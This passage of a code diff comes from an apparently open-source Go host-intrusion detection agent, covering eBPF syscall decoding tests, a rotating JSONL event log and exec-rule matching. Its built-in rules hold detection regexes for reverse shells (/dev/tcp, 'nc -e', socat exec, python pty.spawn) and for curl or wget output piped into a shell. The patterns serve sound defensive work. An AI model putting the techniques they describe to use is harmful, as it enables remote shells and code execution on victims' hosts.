t.Fatal(err)
}
want := []string{"CAP_DAC_READ_SEARCH", "CAP_SYS_ADMIN"}
if securityEvent.Host == nil || securityEvent.Host.Event != "capset" ||
!slices.Equal(securityEvent.Host.Capabilities, want) {
t.Fatalf("unexpected security event: %#v", securityEvent)
}
}
func TestDecodeSecuritySampleProducesModuleLoad(t *testing.T) {
raw := syscallEventRaw{
PID: 42, PPID: 7, UID: 0, SyscallID: hostFinitModule,
Args: [6]uint64{5},
}
var sample bytes.Buffer
if err := binary.Write(&sample, binary.NativeEndian, raw); err != nil {
t.Fatal(err)
}
securityEvent, err := decodeSecuritySample(sample.Bytes())
if err != nil {
t.Fatal(err)
}
if securityEvent.Host == nil || securityEvent.Host.Event != "module_load" || securityEvent.pathDirFD != 5 {
t.Fatalf("unexpected security event: %#v", securityEvent)
}
}
func TestDecodeSecuritySampleProducesFileWrite(t *testing.T) {
raw := syscallEventRaw{
PID: 42, PPID: 7, UID: 1000, SyscallID: hostFileWrite,
Args: [6]uint64{5, 128},
}
copyCString(raw.Comm[:], "python3")
var sample bytes.Buffer
if err := binary.Write(&sample, binary.NativeEndian, raw); err != nil {
t.Fatal(err)
}
securityEvent, err := decodeSecuritySample(sample.Bytes())
if err != nil {
t.Fatal(err)
}
if securityEvent.Host == nil || securityEvent.Host.Event != "file_write" ||
securityEvent.Host.Comm != "python3" || securityEvent.pathDirFD != 5 {
t.Fatalf("unexpected security event: %#v", securityEvent)
}
}
func TestDecodeSecuritySampleProducesNetworkEvents(t *testing.T) {
raw := syscallEventRaw{
PID: 42, PPID: 7, UID: 1000, SyscallID: hostTCPConnect,
Args: [6]uint64{unix.AF_INET, 4444, 0, 5},
}
copyCString(raw.Comm[:], "python3")
address := []byte{8, 8, 8, 8}
raw.Args[2] = uint64(binary.NativeEndian.Uint32(address))
var sample bytes.Buffer
if err := binary.Write(&sample, binary.NativeEndian, raw); err != nil {
t.Fatal(err)
}
securityEvent, err := decodeSecuritySample(sample.Bytes())
if err != nil {
t.Fatal(err)
}
if securityEvent.Host == nil || securityEvent.Host.Event != "tcp_connect" ||
securityEvent.Host.PeerIP != "8.8.8.8" || securityEvent.Host.PeerPort != 4444 ||
securityEvent.pathDirFD != 5 {
t.Fatalf("unexpected network event: %#v", securityEvent)
}
}
func TestDecodeSecuritySampleProducesAccept(t *testing.T) {
raw := syscallEventRaw{
PID: 42, PPID: 7, UID: 1000, SyscallID: hostAccept4,
Args: [6]uint64{0, 0, 0, 6},
}
copyCString(raw.Comm[:], "python3")
var sample bytes.Buffer
if err := binary.Write(&sample, binary.NativeEndian, raw); err != nil {
t.Fatal(err)
}
securityEvent, err := decodeSecuritySample(sample.Bytes())
if err != nil {
t.Fatal(err)
}
if securityEvent.Host == nil || securityEvent.Host.Event != "accept" || securityEvent.pathDirFD != 6 {
t.Fatalf("unexpected accept event: %#v", securityEvent)
}
}
func TestMonitoredSyscallsUsesPlatformConstants(t *testing.T) {
numbers := monitoredSyscalls()
if len(numbers) != 26+len(legacyPermissionSyscalls())+len(legacyNetworkSyscalls()) ||
numbers[unix.SYS_MEMFD_CREATE] != syscallMemfdCreate ||
numbers[unix.SYS_MPROTECT] != syscallMprotect || numbers[unix.SYS_SETUID] != hostSetuid {
t.Fatalf("unexpected syscall map: %#v", numbers)
}
for _, number := range []uint64{
unix.SYS_WRITE, unix.SYS_WRITEV, unix.SYS_PWRITE64,
unix.SYS_PWRITEV, unix.SYS_PWRITEV2,
} {
if numbers[number] != hostFileWrite {
t.Fatalf("write syscall %d maps to %d", number, numbers[number])
}
}
}
func TestResolveProcessPath(t *testing.T) {
procRoot := t.TempDir()
processDir := filepath.Join(procRoot, "42")
if err := os.Mkdir(processDir, 0o755); err != nil {
t.Fatal(err)
}
if err := os.Symlink("/etc/systemd", filepath.Join(processDir, "cwd")); err != nil {
t.Fatal(err)
}
if err := os.Mkdir(filepath.Join(processDir, "fd"), 0o755); err != nil {
t.Fatal(err)
}
if err := os.Symlink("/etc", filepath.Join(processDir, "fd", "5")); err != nil {
t.Fatal(err)
}
if err := os.Symlink("socket:[12345]", filepath.Join(processDir, "fd", "6")); err != nil {
t.Fatal(err)
}
if err := os.Mkdir(filepath.Join(procRoot, "net"), 0o755); err != nil {
t.Fatal(err)
}
tcpTable := "sl local remote st tx rx tr tm retr uid timeout inode\n0: 0100007F:1F90 08080808:115C 01 0 0 0 0 0 12345\n"
if err := os.WriteFile(filepath.Join(procRoot, "net", "tcp"), []byte(tcpTable), 0o600); err != nil {
t.Fatal(err)
}
if got := resolveProcessPath(procRoot, 42, -100, "system/agent.service"); got != "/etc/systemd/system/agent.service" {
t.Fatalf("resolved path=%q", got)
}
if got := resolveProcessPath(procRoot, 42, 5, "cron.d/agent"); got != "/etc/cron.d/agent" {
t.Fatalf("dirfd-resolved path=%q", got)
}
if got := resolveProcessFD(procRoot, 42, 5); got != "/etc" {
t.Fatalf("fd-resolved path=%q", got)
}
if !isTCPSocket(procRoot, 42, 6) || isTCPSocket(procRoot, 42, 5) {
t.Fatal("TCP socket classification mismatch")
}
local, peer, ok := lookupTCPSocket(procRoot, 42, 6)
if !ok || local.IP != "127.0.0.1" || local.Port != 8080 || peer.IP != "8.8.8.8" || peer.Port != 4444 {
t.Fatalf("unexpected endpoints: local=%#v peer=%#v ok=%v", local, peer, ok)
}
if got := resolveProcessPath(procRoot, 99, -100, "relative"); got != "relative" {
t.Fatalf("unresolved path=%q", got)
}
}

View file

@ -0,0 +1,19 @@
// SPDX-License-Identifier: GPL-3.0-or-later
//go:build amd64
package ebpfsource
import "golang.org/x/sys/unix"
func legacyPermissionSyscalls() map[uint64]uint32 {
return map[uint64]uint32{
unix.SYS_CHMOD: hostChmod,
unix.SYS_CHOWN: hostChown,
unix.SYS_LCHOWN: hostLchown,
}
}
func legacyNetworkSyscalls() map[uint64]uint32 {
return map[uint64]uint32{unix.SYS_ACCEPT: hostAccept}
}

View file

@ -0,0 +1,13 @@
// SPDX-License-Identifier: GPL-3.0-or-later
//go:build !amd64
package ebpfsource
func legacyPermissionSyscalls() map[uint64]uint32 {
return nil
}
func legacyNetworkSyscalls() map[uint64]uint32 {
return nil
}

View file

@ -0,0 +1,87 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package eventlog
import (
"bufio"
"encoding/json"
"fmt"
"os"
)
const maxRecordBytes = 1 << 20
// ReadRecent returns at most limit records in chronological order, reading the
// older rotated segment before the active file. Every returned row is valid
// JSON; corruption is reported instead of passed to an operator as evidence.
func ReadRecent(path string, limit int) ([][]byte, error) {
if path == "" {
return nil, fmt.Errorf("event log path is required")
}
if limit <= 0 {
return nil, fmt.Errorf("event limit must be positive")
}
buffer := recentBuffer{limit: limit}
if _, err := os.Stat(path + ".1"); err == nil {
if err := scanRecords(path+".1", buffer.add); err != nil {
return nil, err
}
} else if !os.IsNotExist(err) {
return nil, fmt.Errorf("stat rotated event log: %w", err)
}
if err := scanRecords(path, buffer.add); err != nil {
return nil, err
}
return buffer.values(), nil
}
func scanRecords(path string, consume func([]byte)) error {
file, err := os.Open(path)
if err != nil {
return fmt.Errorf("open event log %s: %w", path, err)
}
defer file.Close()
scanner := bufio.NewScanner(file)
scanner.Buffer(make([]byte, 64*1024), maxRecordBytes)
line := 0
for scanner.Scan() {
line++
raw := scanner.Bytes()
if len(raw) == 0 {
continue
}
if !json.Valid(raw) {
return fmt.Errorf("invalid JSON in %s at line %d", path, line)
}
consume(append([]byte(nil), raw...))
}
if err := scanner.Err(); err != nil {
return fmt.Errorf("read event log %s: %w", path, err)
}
return nil
}
type recentBuffer struct {
limit int
rows [][]byte
next int
}
func (b *recentBuffer) add(raw []byte) {
if len(b.rows) < b.limit {
b.rows = append(b.rows, raw)
return
}
b.rows[b.next] = raw
b.next = (b.next + 1) % b.limit
}
func (b *recentBuffer) values() [][]byte {
if len(b.rows) < b.limit || b.next == 0 {
return b.rows
}
result := make([][]byte, 0, len(b.rows))
result = append(result, b.rows[b.next:]...)
result = append(result, b.rows[:b.next]...)
return result
}

View file

@ -0,0 +1,81 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package eventlog
import (
"encoding/json"
"os"
"path/filepath"
"testing"
)
func TestReadRecentSpansRotationInChronologicalOrder(t *testing.T) {
path := filepath.Join(t.TempDir(), "events.jsonl")
writeLines(t, path+".1", 1, 2, 3)
writeLines(t, path, 4, 5)
rows, err := ReadRecent(path, 3)
if err != nil {
t.Fatal(err)
}
if got := rowSequences(t, rows); len(got) != 3 || got[0] != 3 || got[1] != 4 || got[2] != 5 {
t.Fatalf("sequences=%v", got)
}
}
func TestReadRecentReturnsAllWhenUnderLimit(t *testing.T) {
path := filepath.Join(t.TempDir(), "events.jsonl")
writeLines(t, path, 7, 8)
rows, err := ReadRecent(path, 10)
if err != nil {
t.Fatal(err)
}
if got := rowSequences(t, rows); len(got) != 2 || got[0] != 7 || got[1] != 8 {
t.Fatalf("sequences=%v", got)
}
}
func TestReadRecentRejectsCorruptionAndInvalidArguments(t *testing.T) {
path := filepath.Join(t.TempDir(), "events.jsonl")
if err := os.WriteFile(path, []byte("{not-json}\n"), 0o600); err != nil {
t.Fatal(err)
}
if _, err := ReadRecent(path, 1); err == nil {
t.Fatal("corrupt log accepted")
}
if _, err := ReadRecent("", 1); err == nil {
t.Fatal("empty path accepted")
}
if _, err := ReadRecent(path, 0); err == nil {
t.Fatal("zero limit accepted")
}
}
func writeLines(t *testing.T, path string, sequences ...int) {
t.Helper()
file, err := os.Create(path)
if err != nil {
t.Fatal(err)
}
defer file.Close()
encoder := json.NewEncoder(file)
for _, sequence := range sequences {
if err := encoder.Encode(map[string]any{"sequence": sequence}); err != nil {
t.Fatal(err)
}
}
}
func rowSequences(t *testing.T, rows [][]byte) []int {
t.Helper()
result := make([]int, 0, len(rows))
for _, row := range rows {
var record struct {
Sequence int `json:"sequence"`
}
if err := json.Unmarshal(row, &record); err != nil {
t.Fatal(err)
}
result = append(result, record.Sequence)
}
return result
}

View file

@ -0,0 +1,111 @@
// SPDX-License-Identifier: GPL-3.0-or-later
// Package eventlog retains a bounded JSONL copy of emitted event envelopes.
package eventlog
import (
"encoding/json"
"fmt"
"os"
"path/filepath"
"sync"
)
// Writer appends records to Path and keeps one rotated segment at Path + ".1".
type Writer struct {
Path string
MaxBytes int64
mu sync.Mutex
}
// New preflights the parent directory and destination permissions. A service
// can call it before signaling readiness so a broken retention path fails the
// start instead of silently dropping records.
func New(path string, maxBytes int64) (*Writer, error) {
if path == "" {
return nil, fmt.Errorf("event log path is required")
}
if maxBytes <= 0 {
return nil, fmt.Errorf("event log max bytes must be positive")
}
if err := os.MkdirAll(filepath.Dir(path), 0o750); err != nil {
return nil, fmt.Errorf("create event log directory: %w", err)
}
file, err := os.OpenFile(path, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0o600)
if err != nil {
return nil, fmt.Errorf("open event log: %w", err)
}
if err := file.Chmod(0o600); err != nil {
file.Close()
return nil, fmt.Errorf("protect event log: %w", err)
}
if err := file.Close(); err != nil {
return nil, fmt.Errorf("close event log: %w", err)
}
return &Writer{Path: path, MaxBytes: maxBytes}, nil
}
// Append writes exactly one JSON record. Alert and incident records are synced
// before success is reported; routine status records rely on normal kernel
// writeback to avoid forcing a disk flush every sweep.
func (w *Writer) Append(record map[string]any) error {
if w == nil {
return fmt.Errorf("event log writer is required")
}
raw, err := json.Marshal(record)
if err != nil {
return fmt.Errorf("encode event log record: %w", err)
}
raw = append(raw, '\n')
if len(raw) > maxRecordBytes {
return fmt.Errorf("event log record exceeds %d bytes", maxRecordBytes)
}
w.mu.Lock()
defer w.mu.Unlock()
if err := w.rotateBefore(int64(len(raw))); err != nil {
return err
}
file, err := os.OpenFile(w.Path, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0o600)
if err != nil {
return fmt.Errorf("open event log: %w", err)
}
if err := file.Chmod(0o600); err != nil {
file.Close()
return fmt.Errorf("protect event log: %w", err)
}
if _, err := file.Write(raw); err != nil {
file.Close()
return fmt.Errorf("append event log: %w", err)
}
if eventType, _ := record["event_type"].(string); eventType != "status" {
if err := file.Sync(); err != nil {
file.Close()
return fmt.Errorf("sync event log: %w", err)
}
}
if err := file.Close(); err != nil {
return fmt.Errorf("close event log: %w", err)
}
return nil
}
func (w *Writer) rotateBefore(incoming int64) error {
info, err := os.Stat(w.Path)
if os.IsNotExist(err) {
return nil
}
if err != nil {
return fmt.Errorf("stat event log: %w", err)
}
// Always allow one record into an empty file, even when that individual
// envelope is larger than the configured bound.
if info.Size() == 0 || info.Size()+incoming <= w.MaxBytes {
return nil
}
if err := os.Rename(w.Path, w.Path+".1"); err != nil {
return fmt.Errorf("rotate event log: %w", err)
}
return nil
}

View file

@ -0,0 +1,131 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package eventlog
import (
"bufio"
"encoding/json"
"os"
"path/filepath"
"sync"
"testing"
)
func TestWriterAppendsJSONLWithPrivatePermissions(t *testing.T) {
path := filepath.Join(t.TempDir(), "state", "events.jsonl")
writer, err := New(path, 1<<20)
if err != nil {
t.Fatal(err)
}
for _, record := range []map[string]any{
{"event_type": "status", "sequence": 1},
{"event_type": "alert", "sequence": 2},
} {
if err := writer.Append(record); err != nil {
t.Fatal(err)
}
}
rows := readRows(t, path)
if len(rows) != 2 || rows[0]["sequence"] != float64(1) || rows[1]["sequence"] != float64(2) {
t.Fatalf("rows=%#v", rows)
}
info, err := os.Stat(path)
if err != nil {
t.Fatal(err)
}
if got := info.Mode().Perm(); got != 0o600 {
t.Fatalf("mode=%#o", got)
}
}
func TestWriterRotatesBeforeCrossingBound(t *testing.T) {
directory := t.TempDir()
path := filepath.Join(directory, "events.jsonl")
first := map[string]any{"event_type": "status", "marker": "first"}
encoded, err := json.Marshal(first)
if err != nil {
t.Fatal(err)
}
writer, err := New(path, int64(len(encoded)+1))
if err != nil {
t.Fatal(err)
}
if err := writer.Append(first); err != nil {
t.Fatal(err)
}
if err := writer.Append(map[string]any{"event_type": "alert", "marker": "second"}); err != nil {
t.Fatal(err)
}
current := readRows(t, path)
rotated := readRows(t, path+".1")
if len(current) != 1 || current[0]["marker"] != "second" {
t.Fatalf("current=%#v", current)
}
if len(rotated) != 1 || rotated[0]["marker"] != "first" {
t.Fatalf("rotated=%#v", rotated)
}
}
func TestWriterSerializesConcurrentAppends(t *testing.T) {
path := filepath.Join(t.TempDir(), "events.jsonl")
writer, err := New(path, 1<<20)
if err != nil {
t.Fatal(err)
}
var wait sync.WaitGroup
for index := range 32 {
wait.Add(1)
go func() {
defer wait.Done()
if err := writer.Append(map[string]any{"event_type": "status", "sequence": index}); err != nil {
t.Errorf("append: %v", err)
}
}()
}
wait.Wait()
if rows := readRows(t, path); len(rows) != 32 {
t.Fatalf("row count=%d", len(rows))
}
}
func TestNewRejectsInvalidConfiguration(t *testing.T) {
if _, err := New("", 100); err == nil {
t.Fatal("empty path accepted")
}
if _, err := New(filepath.Join(t.TempDir(), "events.jsonl"), 0); err == nil {
t.Fatal("zero bound accepted")
}
}
func TestWriterRejectsRecordLargerThanReaderLimit(t *testing.T) {
path := filepath.Join(t.TempDir(), "events.jsonl")
writer, err := New(path, 2<<20)
if err != nil {
t.Fatal(err)
}
if err := writer.Append(map[string]any{"event_type": "alert", "payload": make([]byte, maxRecordBytes)}); err == nil {
t.Fatal("oversized record accepted")
}
}
func readRows(t *testing.T, path string) []map[string]any {
t.Helper()
file, err := os.Open(path)
if err != nil {
t.Fatal(err)
}
defer file.Close()
var rows []map[string]any
scanner := bufio.NewScanner(file)
for scanner.Scan() {
var row map[string]any
if err := json.Unmarshal(scanner.Bytes(), &row); err != nil {
t.Fatal(err)
}
rows = append(rows, row)
}
if err := scanner.Err(); err != nil {
t.Fatal(err)
}
return rows
}

View file

@ -0,0 +1,141 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package events
import (
"sort"
"strings"
)
// RuleCatalog returns the stable operator-facing metadata currently exposed by
// Python ruleops.list_rules. Conditions remain data, so auditors can inspect
// what the binary will match without reading Go source or loading eBPF.
func RuleCatalog(execRules ExecRuleEngine) []map[string]any {
builtinExec := map[int]bool{100001: true, 100002: true, 100003: true, 100004: true}
records := make([]map[string]any, 0,
len(execRules.Rules)+len(DefaultSyscallRuleEngine().Rules)+len(DefaultHostRuleEngine().Rules))
for _, rule := range execRules.Rules {
origin := "configured"
if builtinExec[rule.SID] {
origin = "builtin"
}
conditions := map[string]any{}
if len(rule.PathPrefixes) > 0 {
conditions["path_prefixes"] = append([]string(nil), rule.PathPrefixes...)
}
if len(rule.ExecComms) > 0 {
conditions["exec_comm"] = sortedStringKeys(rule.ExecComms)
}
if len(rule.ParentComms) > 0 {
conditions["parent_comm"] = sortedStringKeys(rule.ParentComms)
}
if rule.ArgvRegex != "" {
conditions["argv_regex"] = rule.ArgvRegex
}
if len(rule.ParentExclude) > 0 {
conditions["parent_exclude"] = sortedStringKeys(rule.ParentExclude)
}
records = append(records, map[string]any{
"sid": rule.SID, "event": "exec", "origin": origin,
"severity": rule.Severity, "classtype": rule.Classtype,
"signature": "exec_rule." + rule.Classtype,
"msg": rule.Message, "conditions": conditions,
})
}
for _, rule := range DefaultSyscallRuleEngine().Rules {
records = append(records, map[string]any{
"sid": rule.SID, "event": "syscall", "origin": "builtin",
"severity": rule.Severity, "classtype": rule.Classtype,
"signature": "syscall_rule." + rule.Classtype,
"msg": rule.Message,
"conditions": map[string]any{
"syscalls": sortedStringKeys(rule.Syscalls),
"predicate": "built-in predicate",
},
})
}
for _, rule := range DefaultHostRuleEngine().Rules {
conditions := map[string]any{"events": sortedStringKeys(rule.Events)}
if len(rule.Comms) > 0 {
conditions["comm"] = sortedStringKeys(rule.Comms)
}
if len(rule.ParentComms) > 0 {
conditions["parent_comm"] = sortedStringKeys(rule.ParentComms)
}
if rule.PeerPublic != nil {
conditions["peer_public"] = *rule.PeerPublic
}
if len(rule.PeerPorts) > 0 {
conditions["peer_ports"] = sortedIntKeys(rule.PeerPorts)
}
if len(rule.PeerPortExclude) > 0 {
conditions["peer_port_exclude"] = sortedIntKeys(rule.PeerPortExclude)
}
if len(rule.LocalPorts) > 0 {
conditions["local_ports"] = sortedIntKeys(rule.LocalPorts)
}
if len(rule.LocalPortExclude) > 0 {
conditions["local_port_exclude"] = sortedIntKeys(rule.LocalPortExclude)
}
if len(rule.PathPrefixes) > 0 {
conditions["path_prefixes"] = append([]string(nil), rule.PathPrefixes...)
}
if len(rule.TargetUIDs) > 0 {
conditions["target_uids"] = sortedIntKeys(rule.TargetUIDs)
}
if len(rule.TargetGIDs) > 0 {
conditions["target_gids"] = sortedIntKeys(rule.TargetGIDs)
}
if len(rule.CapabilitiesAny) > 0 {
conditions["capabilities_any"] = sortedStringKeys(rule.CapabilitiesAny)
}
if len(rule.ModuleNames) > 0 {
conditions["module_names"] = sortedStringKeys(rule.ModuleNames)
}
if rule.ArgvRegex != "" {
conditions["argv_regex"] = rule.ArgvRegex
}
eventTypes := sortedStringKeys(rule.Events)
records = append(records, map[string]any{
"sid": rule.SID, "event": strings.Join(eventTypes, ","), "origin": "builtin",
"severity": rule.Severity, "classtype": rule.Classtype,
"signature": "host_rule." + rule.Classtype,
"msg": rule.Message, "conditions": conditions,
})
}
sort.SliceStable(records, func(i, j int) bool {
leftSID, rightSID := records[i]["sid"].(int), records[j]["sid"].(int)
if leftSID != rightSID {
return leftSID < rightSID
}
return records[i]["event"].(string) < records[j]["event"].(string)
})
return records
}
func FindRule(records []map[string]any, sid int) map[string]any {
for _, record := range records {
if record["sid"].(int) == sid {
return record
}
}
return nil
}
func sortedStringKeys(values map[string]bool) []string {
result := make([]string, 0, len(values))
for value := range values {
result = append(result, value)
}
sort.Strings(result)
return result
}
func sortedIntKeys(values map[int]bool) []int {
result := make([]int, 0, len(values))
for value := range values {
result = append(result, value)
}
sort.Ints(result)
return result
}

View file

@ -0,0 +1,33 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package events
import (
"reflect"
"testing"
)
func TestRuleCatalogCoversEveryPortedRule(t *testing.T) {
records := RuleCatalog(DefaultExecRuleEngine())
if len(records) != 21 {
t.Fatalf("got %d rules, want 21", len(records))
}
sids := make([]int, 0, len(records))
for _, record := range records {
sids = append(sids, record["sid"].(int))
}
want := []int{
100001, 100002, 100003, 100004,
100060, 100061, 100062, 100063, 100064, 100065, 100066,
100067, 100068, 100069, 100070, 100071, 100072, 100073,
100076, 100077, 100078,
}
if !reflect.DeepEqual(sids, want) {
t.Fatalf("unexpected catalog SIDs: %#v", sids)
}
capability := FindRule(records, 100077)
conditions := capability["conditions"].(map[string]any)
if _, ok := conditions["capabilities_any"]; !ok {
t.Fatalf("capability conditions missing: %#v", capability)
}
}

View file

@ -0,0 +1,53 @@
// SPDX-License-Identifier: GPL-3.0-or-later
// Package events implements the event-driven rule layer independently from
// its eventual kernel source. Keeping event records and matching pure makes
// Python/Go parity testable before cilium/ebpf enters the build.
package events
import (
"encoding/json"
"strings"
)
// ExecEvent is one execve observed at execution time. Argv excludes filename,
// matching the Python event model and the current BCC source contract.
type ExecEvent struct {
PID int `json:"pid"`
PPID int `json:"ppid"`
UID int `json:"uid"`
ParentComm string `json:"parent_comm"`
Filename string `json:"filename"`
Argv []string `json:"argv"`
}
// ExecComm intentionally mirrors posixpath.basename rather than filepath.Base:
// Python returns an empty basename for a path ending in '/', while filepath
// cleans the trailing separator and would return the previous component.
func (e ExecEvent) ExecComm() string {
if index := strings.LastIndex(e.Filename, "/"); index >= 0 {
return e.Filename[index+1:]
}
return e.Filename
}
func (e ExecEvent) ArgvString() string {
parts := make([]string, 0, len(e.Argv)+1)
parts = append(parts, e.Filename)
parts = append(parts, e.Argv...)
return strings.TrimSpace(strings.Join(parts, " "))
}
func (e *ExecEvent) UnmarshalJSON(raw []byte) error {
var values map[string]any
if err := json.Unmarshal(raw, &values); err != nil {
return err
}
e.PID = integerValue(values["pid"], 0)
e.PPID = integerValue(values["ppid"], 0)
e.UID = integerValue(values["uid"], 0)
e.ParentComm = stringValue(values["parent_comm"])
e.Filename = stringValue(values["filename"])
e.Argv = stringSlice(values["argv"])
return nil
}

View file

@ -0,0 +1,15 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package events
import "testing"
func TestExecEventDerivedFieldsMatchPython(t *testing.T) {
event := ExecEvent{Filename: "/tmp/x", Argv: []string{"-c", "echo hi"}}
if event.ExecComm() != "x" || event.ArgvString() != "/tmp/x -c echo hi" {
t.Fatalf("unexpected derived fields: %q %q", event.ExecComm(), event.ArgvString())
}
if got := (ExecEvent{Filename: "/tmp/x/"}).ExecComm(); got != "" {
t.Fatalf("trailing-slash basename drifted from Python: %q", got)
}
}

View file

@ -0,0 +1,414 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package events
import (
"encoding/csv"
"fmt"
"os"
"regexp"
"sort"
"strconv"
"strings"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
)
// ExecRule is the Go representation of Python's declarative exec rule. Every
// specified positive condition is ANDed; values inside a condition are ORed.
type ExecRule struct {
SID int
Message string
Severity string
Classtype string
PathPrefixes []string
ExecComms map[string]bool
ParentComms map[string]bool
ArgvRegex string
ParentExclude map[string]bool
compiled *regexp.Regexp
}
func NewExecRule(rule ExecRule) (ExecRule, error) {
if len(rule.PathPrefixes) == 0 && len(rule.ExecComms) == 0 &&
len(rule.ParentComms) == 0 && rule.ArgvRegex == "" {
return ExecRule{}, fmt.Errorf("rule sid=%d has no match conditions", rule.SID)
}
if rule.Severity == "" {
rule.Severity = "HIGH"
}
if rule.Classtype == "" {
rule.Classtype = "uncategorized"
}
if rule.ArgvRegex != "" {
compiled, err := regexp.Compile("(?i)" + rule.ArgvRegex)
if err != nil {
return ExecRule{}, fmt.Errorf("rule sid=%d argv_regex: %w", rule.SID, err)
}
rule.compiled = compiled
}
return rule, nil
}
func (r ExecRule) Matches(event ExecEvent) bool {
if r.ParentExclude[event.ParentComm] {
return false
}
if len(r.PathPrefixes) > 0 && !hasPrefix(event.Filename, r.PathPrefixes) {
return false
}
if len(r.ExecComms) > 0 && !r.ExecComms[event.ExecComm()] {
return false
}
if len(r.ParentComms) > 0 && !r.ParentComms[event.ParentComm] {
return false
}
if r.compiled != nil && !r.compiled.MatchString(event.ArgvString()) {
return false
}
return true
}
func (r ExecRule) Alert(event ExecEvent) model.Alert {
argv := truncateRunes(event.ArgvString(), 120)
return model.Alert{
SID: r.SID,
Severity: r.Severity,
Signature: "exec_rule." + r.Classtype,
Classtype: r.Classtype,
Key: fmt.Sprintf("exec:%d:%d", r.SID, event.PID),
Detail: fmt.Sprintf(
"sid=%d %s — pid=%d ppid=%d parent=%s exec=%s argv=[%s]",
r.SID, r.Message, event.PID, event.PPID, event.ParentComm,
event.Filename, argv),
PIDs: []int{event.PID},
}
}
type ExecRuleEngine struct {
Rules []ExecRule
}
func DefaultExecRuleEngine() ExecRuleEngine {
// Constructors below use only compile-time-valid rules. Panic is preferable
// to silently dropping a shipped detection if a future edit breaks one.
rules := make([]ExecRule, 0, len(defaultExecRuleSpecs))
for _, specification := range defaultExecRuleSpecs {
rule, err := NewExecRule(specification)
if err != nil {
panic(err)
}
rules = append(rules, rule)
}
return ExecRuleEngine{Rules: rules}
}
func LoadExecRuleEngine(path string) (ExecRuleEngine, error) {
engine := DefaultExecRuleEngine()
if path == "" {
return engine, nil
}
if _, err := os.Stat(path); os.IsNotExist(err) {
return engine, nil
} else if err != nil {
return ExecRuleEngine{}, err
}
rules, err := loadTOMLExecRules(path)
if err != nil {
return ExecRuleEngine{}, err
}
engine.Rules = append(engine.Rules, rules...)
return engine, nil
}
func (e ExecRuleEngine) Match(event ExecEvent) []model.Alert {
alerts := make([]model.Alert, 0)
for _, rule := range e.Rules {
if rule.Matches(event) {
alerts = append(alerts, rule.Alert(event))
}
}
return alerts
}
var interpreters = stringSet(strings.Fields(
"sh bash dash zsh ksh ash python python2 python3 perl ruby php lua " +
"nc ncat netcat socat"))
var webDBServers = stringSet(strings.Fields(
"nginx apache apache2 httpd php-fpm php php7 php8 lighttpd caddy " +
"node nodejs tomcat catalina mysqld mariadbd postgres redis-server"))
var defaultExecRuleSpecs = []ExecRule{
{
SID: 100001, Message: "Program executed from a world-writable directory",
Severity: "CRITICAL", Classtype: "fileless-execution",
PathPrefixes: []string{"/tmp/", "/dev/shm/", "/var/tmp/"},
},
{
SID: 100002, Message: "Reverse-shell command pattern in execve arguments",
Severity: "CRITICAL", Classtype: "c2-reverse-shell",
ArgvRegex: `/dev/(tcp|udp)/|\b(ba|da|z)?sh\b[^|]*\s-i\b|\bn(c|cat|etcat)\b.*\s-e\b|\bsocat\b.*\bexec|python[0-9.]*\b.*(pty\.spawn|socket\.socket)|perl\b.*\bSocket\b`,
},
{
SID: 100003,
Message: "Web/DB service spawned a shell or interpreter (possible RCE/webshell)",
Severity: "CRITICAL", Classtype: "web-rce",
ExecComms: interpreters, ParentComms: webDBServers,
},
{
SID: 100004, Message: "Download piped directly to a shell (ingress tool transfer)",
Severity: "HIGH", Classtype: "ingress-tool-transfer",
ArgvRegex: `\b(curl|wget|fetch)\b.*\|\s*(ba|da|z)?sh\b`,
},
}
type rawExecRule struct {
values map[string]string
}
// loadTOMLExecRules implements the intentionally narrow [[exec_rules]] subset
// consumed by Python. The sidecar stays stdlib-only; multiline string arrays,
// quoted strings, comments, and arbitrary table ordering are supported.
func loadTOMLExecRules(path string) ([]ExecRule, error) {
raw, err := os.ReadFile(path)
if err != nil {
return nil, err
}
tables, err := parseExecRuleTables(string(raw))
if err != nil {
return nil, err
}
rules := make([]ExecRule, 0, len(tables))
for _, table := range tables {
sidText, ok := table.values["sid"]
if !ok {
return nil, fmt.Errorf("exec_rules entry missing sid")
}
sid, err := strconv.Atoi(strings.TrimSpace(sidText))
if err != nil {
return nil, fmt.Errorf("exec_rules sid: %w", err)
}
message, err := optionalString(table.values, "msg", "")
if err != nil {
return nil, err
}
severity, err := optionalString(table.values, "severity", "HIGH")
if err != nil {
return nil, err
}
severity = strings.ToUpper(severity)
if severity != "MEDIUM" && severity != "HIGH" && severity != "CRITICAL" {
severity = "HIGH"
}
classtype, err := optionalString(table.values, "classtype", "uncategorized")
if err != nil {
return nil, err
}
argvRegex, err := optionalString(table.values, "argv_regex", "")
if err != nil {
return nil, err
}
pathPrefixes, err := optionalStringArray(table.values, "path_prefixes")
if err != nil {
return nil, err
}
execComms, err := optionalStringArray(table.values, "exec_comm")
if err != nil {
return nil, err
}
parentComms, err := optionalStringArray(table.values, "parent_comm")
if err != nil {
return nil, err
}
parentExclude, err := optionalStringArray(table.values, "parent_exclude")
if err != nil {
return nil, err
}
rule, err := NewExecRule(ExecRule{
SID: sid, Message: message, Severity: severity, Classtype: classtype,
PathPrefixes: pathPrefixes, ExecComms: stringSet(execComms),
ParentComms: stringSet(parentComms), ArgvRegex: argvRegex,
ParentExclude: stringSet(parentExclude),
})
if err != nil {
return nil, err
}
rules = append(rules, rule)
}
return rules, nil
}
func parseExecRuleTables(text string) ([]rawExecRule, error) {
tables := make([]rawExecRule, 0)
var current *rawExecRule
var assignment strings.Builder
depth := 0
flush := func() error {
if assignment.Len() == 0 || current == nil {
assignment.Reset()
return nil
}
key, value, ok := strings.Cut(assignment.String(), "=")
if !ok {
return fmt.Errorf("invalid exec rule assignment: %q", assignment.String())
}
current.values[strings.TrimSpace(key)] = strings.TrimSpace(value)
assignment.Reset()
return nil
}
for _, rawLine := range strings.Split(text, "\n") {
line := strings.TrimSpace(stripTOMLComment(rawLine))
if line == "" {
continue
}
if line == "[[exec_rules]]" {
if err := flush(); err != nil {
return nil, err
}
tables = append(tables, rawExecRule{values: map[string]string{}})
current = &tables[len(tables)-1]
depth = 0
continue
